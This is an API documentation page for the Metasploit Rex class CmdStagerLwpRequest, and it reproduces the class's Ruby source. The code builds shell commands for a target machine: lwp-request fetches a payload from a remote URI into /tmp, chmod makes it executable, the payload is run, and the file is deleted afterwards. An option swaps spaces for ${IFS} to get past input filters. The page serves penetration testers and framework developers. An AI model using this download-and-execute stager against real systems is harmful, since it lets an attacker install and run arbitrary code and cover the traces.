Class: Rex::Exploitation::CmdStagerLwpRequest

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/lwprequest.rb

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#encode_payload, #generate_cmds, #initialize, #parts_to_commands, #setup, #slice_up_payload, #teardown

Constructor Details

This class inherits a constructor from Rex::Exploitation::CmdStagerBase

Instance Method Details

#cmd_concat_operatorObject



48
49
50
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 48

def cmd_concat_operator
  ';'
end

#compress_commands(cmds, opts) ⇒ Object



43
44
45
46
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 43

def compress_commands(cmds, opts)
  cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
  super
end

#generate(opts = {}) ⇒ Object



13
14
15
16
17
18
19
20
21
22
23
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 13

def generate(opts = {})
  if opts[:payload_uri].nil?
    raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
  end

  opts[:temp] ||= '/tmp'
  opts[:file] ||= Rex::Text.rand_text_alpha(8)
  @payload_path = "#{opts[:temp]}/#{opts[:file]}"

  super
end

#generate_cmds_decoder(opts) ⇒ Object



33
34
35
36
37
38
39
40
41
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 33

def generate_cmds_decoder(opts)
  cmds = []

  cmds << "chmod +x #{@payload_path}"
  cmds << @payload_path
  cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

  cmds
end

#generate_cmds_payload(opts) ⇒ Object



25
26
27
28
29
30
31
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 25

def generate_cmds_payload(opts)
  uri = opts[:payload_uri]
  unless opts[:ssl]
    uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
  end
  ["lwp-request -m GET #{uri} > #{@payload_path}"]
end

#http?Boolean

Returns:

  • (Boolean)


5
6
7
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 5

def http?
  true
end

#user_agentObject



9
10
11
# File 'lib/rex/exploitation/cmdstager/lwprequest.rb', line 9

def user_agent
  /^lwp-request/
end